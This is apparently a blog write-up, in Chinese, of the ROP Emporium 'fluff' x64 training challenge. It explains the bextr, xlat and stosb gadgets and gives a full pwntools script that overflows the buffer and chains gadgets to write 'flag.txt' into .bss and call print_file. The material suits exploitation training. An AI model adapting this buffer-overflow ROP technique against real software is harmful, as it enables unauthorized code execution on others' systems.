Ropemporium-6-x64

Uncategorized
1.7k words

说实话我感觉64的比32的难不少..应该是我笨的关系。

其中比较逆天的是bextr我着实找不到太多资料
最后debug了半天发现了规律

举个栗子比如这里bextr rbx,rcx,rdx

rcx = 0b100010100

rdx = 302

rbx的值就是rcx>>2,或者说是忽略掉低位的两位

1
2
3
100010100 >>2
#变成
1000101

然后取低位开始数3位

1
2
3
1000101
#取3位
101

于是rbx = 0b101 = 5

再举个例子比如:2300就可以拆为 23 00

代表从第0位开始取23位


xlat获取在[rbx]的地址+al的偏移的内容,然后再赋值给到al

1
xlat   BYTE PTR ds:[rbx]

这里stosb是根据df的值来决定,给al值赋给rdi后,目的地址,或是说这里的rdi的地址会+1或者-1,可以看作是前进或者后退,这样的话仅通过操作df就可以控制指针方向了,不过这里用不到df来做指向呢 XD

1
2
0x00400639      aa       stosb   byte [rdi], al
0x0040063a c3 ret

思路

思路蛮简单 最终要做的就是给rdi部分写入flag.txt,而给rdi指向的地址具体传东西是由al传递。

所以需要控制xlat BYTE PTR ds:[rbx]这里给rax低位(al)传参的是rbx(这里需要注意因为并没有能pop rax清理rax的指令,所以每次计算rbxal传参都需要减去上一次al的偏移,去掉去第一次al默认的0xb,后面每一次al都是上一个字符,所以除第一次减0xb之外每次都需要rbx - flag[上一个的位] - 0x3ef2

再去找rbx就找到了bextr rbx,rcx,rdx

要给rbx传参就要控制rcxrdx这俩,由于会rcx给加0x3ef2所以直接写字符给rcx过去会被破坏掉,指定是不行了。

于是直接从这个程序中找能用的字符所在的地址,直接拿现成的来用就ok。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

elf = ELF('fluff')

context(terminal=['tmux','new-window'])
p=gdb.debug('./fluff',"b pwnme")

flag=b'flag.txt'

bss=0x00601038

pop_rdx_rcx_add_bextr=0x040062a

xlat_al_rbx=0x0400628

pop_rdi=0x04006a3

stosb_rdi_al=0x0400639

print_file=0x00400510

payload=b'A'*40

mask=p64(0x2300)

tmemaddress=[]

for i in range(len(flag)):
tmemaddress.append(hex(read('./fluff').find(flag[i])+elf.address))
print(tmemaddress)

al=0

for i in range(len(flag)):
payload+=p64(pop_rdx_rcx_add_bextr)+mask
if i == 0:
al=0xb
elif i>0:
al=flag[i-1]
payload+=p64(int(tmemaddress[i],16) - al - 0x3ef2)
payload+=p64(xlat_al_rbx)
payload+=p64(pop_rdi) + p64(bss+i)
payload+=p64(stosb_rdi_al)
payload+=p64(pop_rdi)+p64(bss)+p64(print_file)



p.sendline(payload)
p.interactive()